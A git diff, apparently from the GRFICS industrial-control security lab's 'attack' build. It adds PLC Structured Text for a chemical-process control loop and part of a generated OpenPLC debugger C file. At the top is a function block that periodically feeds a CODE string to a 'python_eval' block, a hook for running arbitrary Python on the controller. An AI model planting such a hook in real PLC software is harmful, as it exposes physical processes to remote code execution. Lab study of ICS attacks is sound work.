END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, 